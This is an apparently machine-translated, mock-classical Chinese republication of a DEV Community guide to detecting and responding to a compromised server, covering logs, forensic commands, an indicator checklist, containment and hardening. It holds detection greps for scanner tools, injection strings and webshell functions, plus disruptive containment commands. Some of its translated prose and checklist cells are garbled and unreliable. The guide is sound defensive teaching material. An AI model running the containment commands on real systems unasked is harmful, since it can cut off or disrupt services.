慣性聚合 高效追讀感興趣之博客、新聞、科技資訊
閱原文 以慣性聚合開啟

推薦訂閱源

博客园 - 司徒正美
V
V2EX
T
Tailwind CSS Blog
有赞技术团队
有赞技术团队
aimingoo的专栏
aimingoo的专栏
Apple Machine Learning Research
Apple Machine Learning Research
IT之家
IT之家
Blog — PlanetScale
Blog — PlanetScale
A
About on SuperTechFans
月光博客
月光博客
T
The Blog of Author Tim Ferriss
宝玉的分享
宝玉的分享
Martin Fowler
Martin Fowler
博客园 - 聂微东
The GitHub Blog
The GitHub Blog
V
Visual Studio Blog
WordPress大学
WordPress大学
酷 壳 – CoolShell
酷 壳 – CoolShell
Engineering at Meta
Engineering at Meta
GbyAI
GbyAI

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python)
何察敌手已入吾之服务器
Olawale Afuy · 2026-05-24 · via DEV Community

一、引言

凡联于网者,皆为目标。非若人将欲无权而入,乃问其时否,及尔能否及时觉之.

服务器失守 乃非授权之徒,以非意、非许、非期之途,侵及系统之时也。此或为低权之攻者,仅探汝之文件系统;或为精妙之威胁者,久持持久之权,窃取数据,预植后门,而汝未觉异状之前也。

常态与可疑与确认之侵

明此三态之别,乃事故查究之基石也.

状貌 例证
寻常接入 已知用户、服务或自动化系统之预期行为 汝之部署流水线以deploy之身于凌晨二时接入
可疑接入 或为恶意或非恶意之异常活动——需查之 凌晨三点四十七分,自未识IP之根登录
确认遭侵 见非授权之入,恶意之动,或数据失窃之证 逆壳进程以www-data运行;未知SSH密钥增

要之能者辨"物有差池"与"已然遭袭"之异。众团队或速忽疑兆,或于虚警惶然。是导引将助君辨析——而适行其事


。 2. 常见征兆:威胁者已觊伺服务器

欲察日志,先明所求。下列诸征,乃失常之显兆。

2.1 异常登录之试(SSH / RDP / API)

蛮力之试,常为入格之兆或证。屡败而终有一成,乃蛮力得逞之明验也。

所察之状:

  • 同一或轮换IP地址之SSH尝试屡败
  • 异地登录成功而与汝团队所居之地不合
  • 非时登录(如汝团队在拉各斯/伦敦/纽约时,而登录于凌晨三点)
  • 来自威胁情报数据库所标记之IP地址登录(如Shodan、AbuseIPDB)
  • API验证令牌被意外IP范围使用

2.2未知用户或权限提升

攻击者常创建后门账户或提升权限以维持访问

需留意:

  • 新用户账户出现在/etc/passwd你未创建之域
  • 被添加至sudo或其wheel 群组未得授权
  • /etc/sudoers/etc/sudoers.d/
  • 之更改
  • 非根用户突然而行根权限之进程

2.3 非预期运行之进程/服务

恶意行为者安装工具——加密货币挖矿程序、反向shell、数据窃取代理。此等进程显为非预期。

所察之目:

  • 名目诡谲或隐晦之进程(如kworkerdssysupdate.init
  • 监听非常之端口
  • 未知之服务注册于systemdinit.d
  • 消耗过甚CPU之进程(多属暗挖矿者)
  • www-data之形运行者nginx,或他者之服務賬戶,然行非服務之事

2.4 改易系統之文檔/配置

攻者改易系統之文檔,以維持恆在,或廢弛防禦

所當察者:

  • /etc/hosts之變易(導引DNS)
  • 改易之殼景觀:.bashrc.bash_profile.profile/etc/profile.d/
  • 篡改PAM配置文件(/etc/pam.d/)、
  • 修改SSH服务器配置(/etc/ssh/sshd_config)——如PermitRootLogin yes新增
  • 关键二进制文件时间戳差异(lspsnetstatfind)、
  • 网页应用文件变更(index.php)config.js) — 网页木马

2.5 异常出入网络流量

数据窃取与指令控制(C2)通讯,形成独特网络模式.

所察之象:

  • 向未知IP大量传出数据,尤以非时辰为甚
  • 与已知恶意IP范围或Tor出口节点建立连接
  • 异乎寻常之协议或端口(IRC于6667端口,DNS隧道,ICMP数据传输)
  • 服务账户向外部IP建立持久连接
  • 向高熵域发起DNS查询(DGA——域生成算法)

2.6 高CPU、RAM或磁盘使用异常

资源滥用乃妥协之最显(且常最先察觉)之征兆。

所察之状:

  • CPU之用恒逾八九十,而无所应之应用负载
  • 磁盘I/O骤增,而无预定之作业运行
  • 磁盘迅速充塞,而得意外之文件
  • 内存枯竭,而系于未知之进程
  • 加密货币之恶意软件最为常见——其在资源图上立见

残缺之安全器或记录

诡诈之攻者,首行常为蔽尔之监

所察者何:

  • auditdfail2baniptables ,或 ufw 顿止或摧残
  • 空白之记录,或截断,或存诡隙
  • cron 之条目,导日志于/dev/null
  • 守卫者(CrowdStrike、Wazuh、OSSEC)报离线
  • syslog神主或易主

2.8 意外之定时任务

定时器乃攻者常驻之巧术.

所察之象:

  • 不识之条目于/var/spool/cron/crontabs/
  • 新文于/etc/cron.d/中,/etc/cron.hourly//etc/cron.daily/
  • 定时任务下载并执行外部URL脚本
  • Windows:在\Microsoft\Windows\下创建的定时任务
  • 非预期的Systemd计时器(systemctl list-timers)

2.9 新增SSH密钥或更改凭证

攻击者植入SSH密钥,确保密码更改后仍可持久重入。

何所求者:

  • 新条目入~/.ssh/authorized_keys为根或任何用户
  • 新键于/etc/ssh/authorized_keys若设于全域
  • SSH主机密钥已重新生成(请检查)/etc/ssh/ssh_host_*
  • 更易/etc/passwd/etc/shadow条目(密码哈希变更)
  • 云端元数据服务SSH密钥更新(AWS EC2实例连接,GCP OS登录)

3. 检查之位—日志& 证据之源

一旦疑有侵扰,须知确查之位。此乃日志之位详图,及其所显之实.

3.1 Linux系统日志

日志之文 地望 所含之物
auth.log /var/log/auth.log ( Debian/Ubuntu) SSH 之登录,sudo 之用,PAM 之变
secure /var/log/secure ( RHEL/CentOS/Amazon Linux) 与 RPM 之系之 auth.log 相同
syslog /var/log/syslog 常系统之讯,守神之动
kern.log /var/log/kern.log 核之变,异驱动/模之载
wtmp /var/log/wtmp 凡登录/登出之二进制日志 (以之读)last
btmp /var/log/btmp 二进制登录失败日志(以之读)lastb)
lastlog /var/log/lastlog 每用户最近登录(读之)lastlog
audit.log /var/log/audit/audit.log 系统调用审计(若)auditd已启用)

用之journalctl(systemd所依之系统):

# Show all logs from the past 24 hours
journalctl --since "24 hours ago"

# Show SSH service logs
journalctl -u ssh --since "2024-01-01" --until "2024-01-07"

# Show logs for a specific process ID
journalctl _PID=1234

# Show kernel messages
journalctl -k

# Follow logs in real time
journalctl -f

# Show logs with priority warning or higher
journalctl -p warning

入全景模式 出全屏模式

3.2 Windows 事件查看器

若为 Windows 服务器环境,则事件查看器与 wevtutil 为主要之器。

事件编号 含义
4624 成功登录
4625 登录失败
4648 使用显式凭证登录(传递哈希指示)
4720 创建用户账户
4728 /4732 用户已加入安全组
4756 用户已加入通用组
4768 / 4769 Kerberos票据请求(AS-REQ / TGS-REQ)
4771 Kerberos预认证失败
7045 新服务已安装
4698 已创建计划任务
# Query failed logons in the past hour
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddHours(-1)}

# Query new service installations
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045}

# Export security logs for offline analysis
wevtutil epl Security C:\forensics\security.evtx

进入全屏模式 退出全屏模式

3.3 网站日志

网站服务器,常为被利用之应用、本地文件包含、远程文件包含、SQL注入、网页后门所乘之入口也。

Nginx:

# Default access log
tail -f /var/log/nginx/access.log

# Look for POST requests to unusual paths (webshell access)
grep "POST" /var/log/nginx/access.log | grep -v "api\|login\|upload"

# Look for scanning patterns (many 404s from one IP)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# Look for unusual user agents (curl, python-requests, sqlmap)
grep -i "sqlmap\|nikto\|nmap\|masscan\|python-requests" /var/log/nginx/access.log

全屏模式入 全屏模式出

Apache:

# Apache access log
tail -f /var/log/apache2/access.log

# Combined log format analysis
cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn
# Shows HTTP status code distribution — many 200s on unusual paths = webshell hits

全屏模式入 全屏模式出

3.4 云审计日志

云境之中,审计之录,若闭路电视之影。勿忽之。

AWS云踪迹:

# Use AWS CLI to query CloudTrail events
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z

# Look for root account usage (always suspicious)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=root

# Look for IAM changes
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser

# Look for security group changes (attacker opening ports)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress

入全景模式 出全屏模式

GCP审计日志(经gcloud)

# View admin activity logs
gcloud logging read "logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity" \
  --limit 100 --format json

# Filter for IAM policy changes
gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit 50

入全景模式 出全屏模式

Azure Monitor: Azure 监控器

# Query sign-in logs for failures (Azure CLI)
az monitor activity-log list \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z \
  --query "[?authorization.action=='Microsoft.Authorization/roleAssignments/write']"

入全屏模式 退出全屏模式

3.5 防火墙与WAF日志

# iptables — view current rules
iptables -L -n -v

# View recent iptables drops (if logging enabled)
grep "iptables" /var/log/syslog | tail -50

# UFW logs
grep "UFW" /var/log/ufw.log | grep "BLOCK" | tail -50

# fail2ban — view currently banned IPs
fail2ban-client status sshd

# See all bans across all jails
fail2ban-client status

进入全屏模式 退出全屏模式

3.6 容器与Kubernetes日志

# Docker — view container logs
docker logs <container_id> --tail 200 --follow

# Inspect a running container's processes
docker top <container_id>

# Check for unexpected containers
docker ps -a

# Kubernetes — view pod logs
kubectl logs <pod-name> -n <namespace> --previous

# View Kubernetes audit log (if enabled)
kubectl get events --sort-by=.metadata.creationTimestamp -n kube-system

# Check for privileged pods (common escalation vector)
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | .metadata.name'

进入全屏模式 退出全屏模式

3.7 EDR与SIEM警报

若备有端点侦测与响应(EDR)之器,如CrowdStrike、SentinelOne、Wazuh,或SIEM之属如Splunk、Elastic Stack,此皆汝最锐利之探究利器也.

于SIEM中运行之要问:

# Splunk  find parent-child process anomalies (webshell execution)
index=endpoint | eval parent_child=parent_process+"-"+process_name
| stats count by parent_child | sort -count

# Elastic/Kibana KQL  find new privileged users
event.code: 4728 OR event.code: 4732

# Look for lateral movement (new SMB connections)
event.action: "network_connection" AND destination.port: 445

入全屏模式 出全屏模式


4. 逐步探究之剧本

当汝疑有染指,勿惊慌,亦勿遽闭服务器之机。汝或可毁法证。循此程式而行。

┌─────────────────────────────────────────────────────────────────┐
│                  INCIDENT INVESTIGATION FLOW                    │
│                                                                 │
│  1. Confirm Indicators  →  2. Preserve Evidence                 │
│           ↓                        ↓                            │
│  3. Identify Access     →  4. Determine Attacker Actions        │
│     Vector                         ↓                            │
│           ↓                5. Check Persistence                 │
│  6. Scope Affected      ←          ↓                            │
│     Systems             ←  7. Reconstruct Timeline              │
└─────────────────────────────────────────────────────────────────┘

入全景模式 出全屏模式

第一步 — 核实可疑迹象

升阶之前,须确认所见确为异常。参验如下:

  • 尔之部署日程(此乃汝CI/CD流水线之凌晨三时登录乎?)
  • IP之允许列表与团队VPN范围
  • 近日新登之工程师或承包商
  • 凡已知之渗透测试或红队行动

若交叉比对后不能解释其活动,则视之为已确认之事件.

第二步 — 保存证据

此乃最亟之步骤.证迹可覆,日志可转,而内存易迁.

# Create a forensics output directory
mkdir -p /tmp/forensics && cd /tmp/forensics

# Capture running processes snapshot
ps auxf > processes.txt

# Capture active network connections
ss -tulpn > network_connections.txt
netstat -tulpn >> network_connections.txt

# Capture logged-in users
who > who.txt
w >> who.txt
last -n 100 > last_logins.txt

# Dump current iptables rules
iptables-save > iptables_rules.txt

# Dump crontabs
crontab -l > root_cron.txt 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ===" >> all_crontabs.txt
  crontab -u $user -l 2>/dev/null >> all_crontabs.txt
done

# Capture loaded kernel modules
lsmod > kernel_modules.txt

# Copy critical log files
cp /var/log/auth.log ./ 2>/dev/null || cp /var/log/secure ./ 2>/dev/null
cp /var/log/syslog ./ 2>/dev/null

# Take a memory dump (if avango or LiME is available)
# avml /tmp/forensics/memory.lime

# Hash all collected files for chain-of-custody
sha256sum * > evidence_hashes.txt

Enter fullscreen mode Exit fullscreen mode

要旨:若可,摄EBS/disk之影。 (AWS) 或等同云端快照,而后方可行诸事。此可保全全盘之态。

第三步 — 辨初入之径

彼如何而入?常见之径及其所察之域:

所察之域
暴力破SSH auth.log — 多次败试而后得逞
遭劫之网应用 网服务器日志—异常POST请求,错误500骤增
窃取之凭据(泄露之钥) 云踪迹/IAM日志—非预期IP之访问
供应链(受侵之依存) 应用日志—异常之库行
诱骗→凭据窃取 郵箋記錄,瀏覽器痕跡,SIEM身分事件
未修補之CVE 檢視程序版本:nginx -vpython3 --version
曝露之S3桶/雲存儲桶 雲存儲存取記錄
配置錯誤之雲元數據服務 SSRF記錄,雲端審計記錄於憑證使用
# Check SSH login history for the first suspicious successful login
grep "Accepted" /var/log/auth.log | grep -v "YOUR_KNOWN_IPS"

# Check for web exploitation via suspicious HTTP methods/paths
grep -E "(UNION|SELECT|DROP|exec\(|eval\(|base64_decode|cmd=|exec=)" \
  /var/log/nginx/access.log

# Find recently created files (modified in last 7 days) — may reveal dropped payloads
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | \
  grep -v "\.log$" | head -50

入全景模式 出全屏模式

第四步——审敌行止(彼何所为之?)

复述所执行之命,所访之数据,及所改之事。

# Check bash history for all users (attackers sometimes forget to clear it)
cat /root/.bash_history
for user in $(cut -f1 -d: /etc/passwd); do
  home=$(eval echo ~$user)
  if [ -f "$home/.bash_history" ]; then
    echo "=== History for $user ==="
    cat "$home/.bash_history"
  fi
done

# Check if history was cleared (a sign of an attacker)
# An empty .bash_history with a recent mtime is suspicious
ls -la /root/.bash_history

# Check recently accessed files
find / -atime -1 -type f -not -path "/proc/*" 2>/dev/null | head -30

# Check audit logs for specific commands (if auditd was running)
ausearch -i -m execve --start recent

# Look for outbound connections that occurred
grep "ESTABLISHED\|SYN_SENT" /tmp/forensics/network_connections.txt

入全景模式 出全屏模式

第五步 — 检查持久机制

攻者留后门。速觅之,俟修复。

# ── SSH Keys ──────────────────────────────────────────────────────
# Check all users' authorized_keys files
find /home /root /etc -name "authorized_keys" 2>/dev/null -exec cat {} \; -print

# ── Cron Jobs ─────────────────────────────────────────────────────
ls -la /etc/cron* /var/spool/cron/crontabs/
cat /etc/cron.d/*

# ── Systemd Services ──────────────────────────────────────────────
systemctl list-units --type=service --state=running | grep -v "^UNIT"
# Look for unfamiliar service names
find /etc/systemd/system/ -name "*.service" -newer /etc/passwd

# ── Web Shells ────────────────────────────────────────────────────
# Find PHP webshells (eval, system, exec functions)
find /var/www /srv /opt -name "*.php" -exec grep -l "eval\|system\|exec\|base64_decode" {} \;

# ── SUID Binaries (privilege escalation tools) ────────────────────
find / -perm -4000 -type f -not -path "/proc/*" 2>/dev/null

# ── Startup Scripts ───────────────────────────────────────────────
ls -la /etc/rc.local /etc/rc*.d/ /etc/init.d/
cat /etc/rc.local

# ── LD_PRELOAD Hijacking ──────────────────────────────────────────
cat /etc/ld.so.preload 2>/dev/null
env | grep LD_PRELOAD

入全景模式 出全屏模式

第六步 — 影响范围之系统

攻者曾否移侧?

# Check for other hosts this server connects to
cat ~/.ssh/known_hosts
cat /etc/hosts
arp -n  # Other hosts in the LAN

# Look for lateral movement via SSH from this server
grep "Accepted\|publickey\|password" /var/log/auth.log | grep "from"

# Check for any cloud API calls that may have been made from this server
grep "aws\|gcloud\|az " /root/.bash_history

# Review AWS IAM credentials used from this instance
# If this is an EC2 with an IAM role, check CloudTrail for calls made by this instance's role
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR_INSTANCE_ID

入全景模式 出全屏模式

第七步 — 时光回溯

为明事件之全貌,须建时序之精当。

# Create a unified timeline using log2timeline/plaso (forensics tool)
# Install: pip install plaso
log2timeline.py /tmp/timeline.plaso /var/log/

# Or manually using timestamps from logs
# Combine auth.log, syslog, and web logs sorted by timestamp
cat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \
  sort -k1,3 > /tmp/forensics/unified_timeline.txt

# Find file modifications around the suspected breach time
# Example: if breach suspected around 2024-01-15 03:00 UTC
find / -newermt "2024-01-15 02:00" ! -newermt "2024-01-15 06:00" \
  -type f -not -path "/proc/*" 2>/dev/null

入全屏模式 出全屏模式


5. 有用之令& 工具

5.1 登录与会话探查

# ── last ──────────────────────────────────────────────────────────
# Shows login history: user, TTY, source IP, date/time, duration
last -n 50 -a  # -a shows hostname/IP in last column

# ── lastlog ───────────────────────────────────────────────────────
# Shows the most recent login for every account on the system
# Useful for spotting accounts that should never log in (www-data, daemon)
lastlog

# Filter to show only accounts that HAVE logged in
lastlog | grep -v "Never logged in"

# ── who ───────────────────────────────────────────────────────────
# Shows who is currently logged in
who -a  # -a shows all info including run-level and system boot time

# ── w ─────────────────────────────────────────────────────────────
# Like who, but also shows what command each logged-in user is running
w

入全屏模式 出全屏模式

调查流程

# ── ps aux ────────────────────────────────────────────────────────
# Full process listing: user, PID, CPU%, MEM%, command
ps aux

# Sort by CPU usage (find cryptominers)
ps aux --sort=-%cpu | head -20

# Sort by memory usage
ps aux --sort=-%mem | head -20

# Show process tree (reveals parent-child relationships — key for detecting shells)
ps auxf

# ── pstree ────────────────────────────────────────────────────────
# Visual process tree — attackers' reverse shells usually appear as children of web processes
pstree -aup

# ── lsof ──────────────────────────────────────────────────────────
# List all open files and network connections by process
lsof -i  # Show all network connections

# Show what process is using a specific port
lsof -i :4444  # 4444 is a common reverse shell port

# Show all files opened by a specific process
lsof -p <PID>

# Show deleted files that are still open (attacker may have deleted malware but it's still running)
lsof | grep deleted

进入全屏模式 退出全屏模式

网络调查

# ── netstat ───────────────────────────────────────────────────────
# Show all listening ports and established connections
netstat -tulpn   # -t TCP, -u UDP, -l listening, -p show PID, -n numeric

# Show all established connections
netstat -an | grep ESTABLISHED

# ── ss ────────────────────────────────────────────────────────────
# Faster modern replacement for netstat
ss -tulpn        # Same flags as netstat
ss -tnp          # Show TCP connections with process names

# Find processes with unexpected external connections
ss -tnp | grep -v "127.0.0.1\|::1\|YOUR_KNOWN_IPS"

进入全屏模式 退出全屏模式

文件系统取证

# ── find with -mtime ──────────────────────────────────────────────
# Find files modified in the last N days
find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# Find files modified within a specific time range
find /var/www -newermt "2024-01-15 00:00" ! -newermt "2024-01-16 00:00" -type f

# Find files with unusual permissions (world-writable)
find / -perm -o+w -type f -not -path "/proc/*" 2>/dev/null

# Find SUID/SGID binaries
find / -type f \( -perm -4000 -o -perm -2000 \) -not -path "/proc/*" 2>/dev/null

# Find hidden files and directories
find / -name ".*" -type f -not -path "/proc/*" -not -path "/home/*/.bash*" 2>/dev/null | head -30

进入全屏模式 退出全屏模式

根套件检测

# ── chkrootkit ────────────────────────────────────────────────────
# Scans for known rootkits by checking system binaries and /proc
# Install: apt install chkrootkit OR yum install chkrootkit
chkrootkit

# Run in quiet mode (only show positive findings)
chkrootkit -q

# ── rkhunter ──────────────────────────────────────────────────────
# More comprehensive: checks binaries, rootkits, backdoors, config
# Install: apt install rkhunter
rkhunter --update          # Update database first
rkhunter --check           # Full system scan
rkhunter --check --rwo     # Only show warnings

入全景模式 出全景模式

五、六、系统审计

# ── auditd ────────────────────────────────────────────────────────
# The Linux Audit Framework — records system calls
# Install: apt install auditd  OR  yum install audit

# Start and enable
systemctl enable auditd && systemctl start auditd

# Add watch rules (add to /etc/audit/rules.d/audit.rules)
# Watch for writes to /etc/passwd
auditctl -w /etc/passwd -p wa -k passwd_change

# Watch for execution of suspicious binaries
auditctl -w /tmp -p x -k tmp_exec
auditctl -w /bin/bash -p x -k bash_exec

# Search audit log for specific events
ausearch -k passwd_change  # Find events matching our watch key
ausearch -m execve --start today  # All exec calls today
ausearch -x /bin/bash --start yesterday  # Bash executions yesterday

# Generate a human-readable audit report
aureport --summary
aureport --login --failed  # Failed logins
aureport --exec            # Execution events

# ── fail2ban ──────────────────────────────────────────────────────
# Monitors logs and bans IPs after repeated failures
# Install: apt install fail2ban
systemctl status fail2ban

# Check active bans
fail2ban-client status
fail2ban-client status sshd

# View banned IPs
fail2ban-client banned

# Manually ban an IP
fail2ban-client set sshd banip 203.0.113.42

# Check if a specific IP is banned
fail2ban-client get sshd banip

入全景模式 出全景模式


六、妥协指标(IoC)清单

于主动调查时,用此清单。核验每项,记下所察。

# 指标 何所察之? 状态
新户或未识之用户帐号 /etc/passwdcat /etc/shadow 空也。
用户添入sudo / wheel群组 /etc/sudoersgetent group sudo 空也。
SSH授权密钥未识别 ~/.ssh/authorized_keys(所有用户)
4 SSH之登录出乎意料而成功 /var/log/auth.logsecure
5 来自意料之外之IP或地域 last -a,云迹/审计之记录
6 未知或高CPU之进程 ps aux --sort=-%cpu
7 监听非预期端口 ss -tulpnnetstat -tulpn
8 非预期出站连接 ss -tnp,防火墙日志
9 未知或修改过的cron任务 crontab -l/etc/cron.d/
10 未知systemd服务 systemctl list-units --type=service
11 修改之系統二進制檔 (lsps等) rkhunterdebsumsrpm -Va
12 網站根目錄中之網頁殼 find /var/www -name "*.php" -exec grep -l eval {} \;
13 非基準之SUID二進制檔 find / -perm -4000
14 改之/etc/hosts或DNS之配置 cat /etc/hostscat /etc/resolv.conf
15 改之SSH之服务器配置 cat /etc/ssh/sshd_config
16 改之PAM之配置 ls -la /etc/pam.d/
17 禁用或止之安全之器 systemctl status auditd fail2ban
18 日志文件有隙或遭篡改 ls -la /var/log/,检视文件之巨细与时间戳
19 /tmp中、/dev/shm中、/var/tmp ls -la /tmp/ /dev/shm/ /var/tmp/
20 载入之内核模块非所期 `lsmod
grep -v "^Module"`__JHSNS_SEG_bd339fff_381__21 新防火墙规则(端口已开启) iptables -L -n云安全组日志 空也。
廿二 云 IAM 变更或新 API 密钥 云踪,GCP审计日志,Azure监控 空也。
廿三 数据窃取(大批量出站传输) 网络流日志,VPC流日志
24 根kit侦测所得 chkrootkit -qrkhunter --check --rwo
25 修改.bashrc / .profile条目 cat /root/.bashrccat ~/.bash_profile

7. 立即响应之策

一旦确认失陷,当果决而序当。

7.1 疏离服务器

目标:止其流血,勿毁证物

# Option A: Block all inbound/outbound traffic except your investigation IP
iptables -I INPUT -s YOUR_IP/32 -j ACCEPT
iptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Option B: AWS — modify the security group to deny all traffic
aws ec2 revoke-security-group-ingress \
  --group-id sg-XXXX \
  --protocol all \
  --cidr 0.0.0.0/0

# Option C: Cloud-level — move to an isolated VPC / detach from load balancer
# Do this via your cloud console to avoid SSH lockout

全屏模式 退出全屏模式

于云境之中,先摄其盘,后疏离之,则得法证之摹本矣

7.2 断恶会话

# View active sessions
who
w

# Kill a specific session (use PTS from `who` output)
pkill -kill -t pts/1

# Kill a specific process (use PID from ps aux)
kill -9 <PID>

# Kill all processes by a suspicious user
pkill -u suspicioususer

全屏模式 出全屏模式

七三、旋转所有凭证

必为之事也离群之后不可先之,当攻击者已连接时,更迭凭信,或可警之,致其破坏。

# Rotate SSH keys for all users — remove unauthorized keys first
# Edit ~/.ssh/authorized_keys and remove unknown entries
# Then generate new keys for your team
ssh-keygen -t ed25519 -C "new_key_post_incident_$(date +%F)"

# Rotate system user passwords
passwd root
passwd <other_users>

# AWS — rotate IAM access keys
aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER --access-key-id OLD_KEY_ID

# Rotate database passwords
# PostgreSQL example:
psql -U postgres -c "ALTER USER appuser WITH PASSWORD 'new_strong_password';"

# Rotate API keys, webhook secrets, and JWT secrets in your application
# Update environment variables / secrets manager entries

入全景模式 出全屏模式

七四 补救被利用之漏洞

# Update all packages (Ubuntu/Debian)
apt update && apt upgrade -y

# Update all packages (RHEL/CentOS/Amazon Linux)
yum update -y  # or: dnf update -y

# If a specific CVE was exploited, patch that component first
# Example: if OpenSSH was vulnerable
apt install --only-upgrade openssh-server

# Check current versions
nginx -v
openssl version
python3 --version
node --version

入全屏模式 出全屏模式

7.5 恢复自备份

若系统文件、应用代码或数据库有所更动:

# Identify what changed using your baseline or last known-good snapshot
# Compare current file hashes against baseline
md5sum /usr/bin/ls /bin/bash /sbin/sshd > current_hashes.txt
diff baseline_hashes.txt current_hashes.txt

# Restore specific files from backup
rsync -avz backup_server:/backups/latest/etc/ /etc/

# Or restore the entire server from a pre-incident snapshot
# (AWS: restore from AMI or EBS snapshot taken before incident)

入全屏模式 出全屏模式

7.6 通知利益相关者

事故沟通之要,不亚于技术应对之重。

內部通知:

  • 首席技術官/工程主管—即刻確認損害後
  • 法務與合規—若用戶數據或許已被訪問(GDPR、NDPR等)
  • 應急團隊—以發動支援

外部通知(若適用):

  • 受影響客戶—若個人識別信息、支付數據或健康數據已洩露
  • 数据保护当局—GDPR要求72小时内通报
  • 网络保险提供者—若有保单
  • 执法部门—因重大漏洞或国家行为

8. 防范最佳实践

检测与响应要紧—然防范之费,常胜于事后之应。

8.1 多重验证

于诸入之途皆启多重验证:

# Install Google Authenticator PAM module for SSH MFA
apt install libpam-google-authenticator

# Configure PAM for SSH
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/sshd

# Enforce in sshd_config
echo "ChallengeResponseAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthenticationMethods publickey,keyboard-interactive" >> /etc/ssh/sshd_config
systemctl restart sshd

入全景模式 出全景模式

8.2 严守权责之限

# Audit sudo access — nobody should have NOPASSWD unless absolutely necessary
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/

# Lock down SSH — disable root login and password authentication
cat >> /etc/ssh/sshd_config << EOF
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
AllowUsers deploy ubuntu YOUR_USER  # Whitelist only needed users
EOF
systemctl restart sshd

入全景模式 出全景模式

8.3 补丁之治

未修补之软件,乃致危之主因。宜自动化更新之。

# Ubuntu — enable automatic security updates
apt install unattended-upgrades
dpkg-reconfigure --priority=low unattended-upgrades

# Set to auto-apply security patches only
cat > /etc/apt/apt.conf.d/50unattended-upgrades << EOF
Unattended-Upgrade::Allowed-Origins {
    "${distro_id}:${distro_codename}-security";
};
Unattended-Upgrade::Automatic-Reboot "false";
EOF

入全景模式 出全屏模式

八、四日志监控与告警

┌─────────────────────────────────────────────────────────────────┐
│                   LOGGING ARCHITECTURE                          │
│                                                                 │
│  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting        │
│  (auth.log,        (Fluentd,             (Elastic/Kibana,       │
